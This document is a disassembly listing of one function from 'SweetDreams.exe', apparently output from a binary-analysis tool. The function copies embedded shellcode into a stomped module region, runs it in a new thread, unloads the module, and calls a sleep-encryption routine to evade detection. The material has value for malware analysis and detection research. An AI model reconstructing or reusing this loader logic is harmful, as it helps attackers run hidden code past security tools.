Function at 0x140001540
Capabilities:
Create thread

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x228
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1d0], ecx
mov qword [rbp + 0x1d8], rdx
call dbg.__main
cmp dword [rbp + 0x1d0], 4
je 0x140001587
lea rax, str._n_tUsage:_n_t_tSweetDreams.exe__host___port___moduleName__n_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001bad
mov rax, qword [rbp + 0x1d8]
mov rax, qword [rax + 8]
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x1d8]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x1d8]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x188], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov edx, eax
lea rax, str.___PID_:__d_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov edx, eax
lea rax, str.___TID_:__d_n
mov rcx, rax
call sym.printf_char_const__::_
movabs rax, 0x20657261776c614d
movabs rdx, 0x616d20646c756f77
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x657267206120656b
movabs rdx, 0x74696c6f70207461
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x69203b6e61696369
movabs rdx, 0x73696d6f72702074
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x6465657073207365
movabs rdx, 0x66666520646e6120
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x2c79636e65696369
movabs rdx, 0x6c6c612074756220
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x73656f6420746920
movabs rdx, 0x656b617420736920
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x6f73657220707520
movabs rdx, 0x6e61207365637275
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rdx
movabs rax, 0x2065737561632064
movabs rdx, 0x736d656c626f7270
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rdx
mov word [rbp + 0x150], 0x21
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_HeapCreate]
call rax
mov qword [rbp + 0x180], rax
cmp qword [rbp + 0x180], 0
jne 0x140001758
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.HeapCreate_failed___d__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001bad
mov rax, qword [rbp + 0x180]
mov r8d, 0x104
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
jne 0x1400017be
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.HeapAlloc_failed___d__n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapDestroy]
call rax
mov eax, 1
jmp 0x140001bad
mov rax, qword [rbp + 0x178]
mov rdx, rax
lea rax, str.___Heap_Allocation____p_n_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0xd0]
mov rbx, qword [rbp + 0xd8]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov rcx, qword [rbp + 0xe0]
mov rbx, qword [rbp + 0xe8]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rbx
mov rcx, qword [rbp + 0xf0]
mov rbx, qword [rbp + 0xf8]
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rbx
mov rcx, qword [rbp + 0x100]
mov rbx, qword [rbp + 0x108]
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rbx
mov rcx, qword [rbp + 0x110]
mov rbx, qword [rbp + 0x118]
mov qword [rax + 0x40], rcx
mov qword [rax + 0x48], rbx
mov rcx, qword [rbp + 0x120]
mov rbx, qword [rbp + 0x128]
mov qword [rax + 0x50], rcx
mov qword [rax + 0x58], rbx
mov rcx, qword [rbp + 0x130]
mov rbx, qword [rbp + 0x138]
mov qword [rax + 0x60], rcx
mov qword [rax + 0x68], rbx
mov rcx, qword [rbp + 0x140]
mov rbx, qword [rbp + 0x148]
mov qword [rax + 0x70], rcx
mov qword [rax + 0x78], rbx
movzx edx, word [rbp + 0x150]
mov word [rax + 0x80], dx
mov dword [rbp + 0x174], 0
lea rax, [rbp - 0x50]
lea rdx, [0x14000a280]
mov ecx, 0x22
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov dword [rbp + 0x170], 0x114
mov edx, dword [rbp + 0x170]
lea rax, [rbp - 0x50]
mov r8d, edx
mov rdx, rax
lea rax, str.___Shellcode_retrieved__p_sized__d_bytes_n
mov rcx, rax
call sym.printf_char_const__::_
mov edx, dword [rbp + 0x170]
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sym.getRandomRXspot_char_const__unsigned_long_
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
je 0x140001b99
mov dword [rbp + 0xcc], 0
mov eax, dword [rbp + 0x170]
movsxd rdx, eax
lea rcx, [rbp + 0xcc]
mov rax, qword [rbp + 0x168]
mov r9, rcx
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x14000197e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed_in_VirtualProtect_1___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x140001bad
mov eax, dword [rbp + 0x170]
movsxd rcx, eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x168]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov eax, dword [rbp + 0x170]
movsxd rdx, eax
lea rax, [rbp - 0x50]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp + 0xcc]
mov eax, dword [rbp + 0x170]
movsxd rdx, eax
lea r8, [rbp + 0xcc]
mov rax, qword [rbp + 0x168]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x140001a16
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed_in_VirtualProtect_2___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x140001bad
mov rax, qword [rbp + 0x168]
mov rdx, rax
lea rax, str.___Stomped_region_starting_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x168]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadId]
call rax
mov edx, eax
lea rax, str.___Thread_Executing_Shellcode_TID_:__d_n_n
mov rcx, rax
call sym.printf_char_const__::_
cmp qword [rbp + 0x160], 0
jne 0x140001abc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed_in_CreateThread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x140001bad
mov rax, qword [rbp + 0x160]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x188]
mov rdx, rax
lea rax, str.___Reverting_Stomped__s__n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x188]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
jne 0x140001b2a
lea rax, str.____Module_is_not_loaded._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x140001bad
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
test eax, eax
setne al
test al, al
je 0x140001b78
lea rax, str.___Successfully_unloaded_the_module._n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Encrypting_Heaps_Stacks_..._n_n_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sym.HappySleep_char_const_
jmp 0x1400018a5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed_to_unload_the_module._Error_code:__lu_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x140001bad
lea rax, str.____Impossible_to_stomp_that_module_n_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x1400018a5
add rsp, 0x228
pop rbx
pop rsi
pop rdi
pop rbp
ret